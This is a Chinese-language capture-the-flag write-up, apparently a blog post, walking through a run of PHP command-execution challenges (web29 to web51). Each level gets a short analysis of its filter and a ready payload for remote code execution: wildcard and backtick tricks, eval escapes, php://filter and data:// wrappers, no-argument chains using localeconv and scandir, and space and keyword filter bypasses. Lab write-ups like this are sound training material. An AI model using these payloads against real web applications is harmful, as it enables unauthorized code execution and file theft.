CISCN(web篇)命令执行

命令执行入门

web29

思路分析 1.常规命令执行漏洞,通过控制输入变量c,借助eval函数实现RCE的目的。 2.题目过滤掉了flag,可以通过通配符绕过。 3.考虑传入system执行系统命令,借助通配符绕过正则匹配。 4.payload:?c=system(‘tac fla*’);

web30

思路分析 1.在上题的基础上增加了更多过滤,无法借助system执行系统命令。 2.借助反引号执行系统命令,拼接echo命令,达到RCE的目的 3.payload:?c=echo `tac fla*`;

web 31

思路分析 1.在上题的基础上过滤了空格,无法使用传统的RCE技巧。 2.拼接eval命令,进行逃逸 3.payload:?c=eval($_GET[a]);&a=system(‘tac flag.php’); 4.解释:输入变量c,c接收的是get变量a的执行结果,我们对变量a拼接RCE命令即可逃逸对c的过滤,达到RCE的目的。

web 32

思路分析 1.分号被过滤,无法使用上题的技巧。 2.考虑include,php中include一个文件,如果文件是php格式则会被按照php解析执行,我们想得到文件中的内容,考虑借助php协议中的过滤器。 3.过滤分号,php代码中最后一行的语句可以以?>结束而不以分号结束。 4.payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php得到的是文件的base64编码,借助工具解码后得到flag

web 37

思路分析 1.采用data伪协议进行RCE 2.payload:?c=data://text/plain,<?php system(tac fla*);?>

web 38

思路分析 1.在上题的基础上过滤了php,考虑使用php短标签绕过。 2.payload:?c=data://text/plain,<?= system(tac fla*);?>

web 40(无参RCE)

思路分析 1.过滤掉了无数内容,考虑使用无参RCE 2.前备知识:(1).PHP localeconv()函数 (2).?c=var_dump(localeconv()); 我们真正需要的是第一个.目的是配合scandir进行目录遍历,下一步考虑获得. (3).current() (4).?c=var_dump(current(localeconv())); 成功获得.配合scandir进行目录遍历。 (5).?c=var_dump(scandir(current(localeconv()))); 成功实现目录遍历,下一步考虑直接读取flag文件。 (6).使用array_reverse()函数使目录翻转。 ?c=var_dump(array_reverse(scandir(current(localeconv())))); flag文件来到了从前到后第二个的位置。 (7).next指针获取第二个文件位置 ?c=var_dump(next(array_reverse(scandir(current(localeconv()))))); (8).读取flag文件 ?c=show_source(next(array_reverse(scandir(current(localeconv())))));

web 41

(异或无参RCE)

web42

思路分析 1.这次后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显。 2.考虑用管道符分割。 3.payload:?c=tac fl*;

web 43

思路分析 1.与之前相比,过滤了分号,cat 2.考虑分号除外其他的管道符绕过 3.payload:?c=tac flag*||

web 45

思路分析 1.与之前相比多过滤了空格 2.考虑用%09绕过空格 3.payload:?c=tac%09fl*||

web 46

思路分析 1.与之前相比,过滤掉了*无法使用之前通配符的方法绕过对flag的过滤。 2.考虑采用?单个匹配 3.payload:?c=tac%09fla?.php||

web 50

payload:?c=tac<>flag.php||

web 51

思路分析 1.增加了对tac的过滤 2.考虑用分割绕过 3.payload:?c=tac<>flag.php||

web 52

经验分享 程序员 微信小程序 职场和发展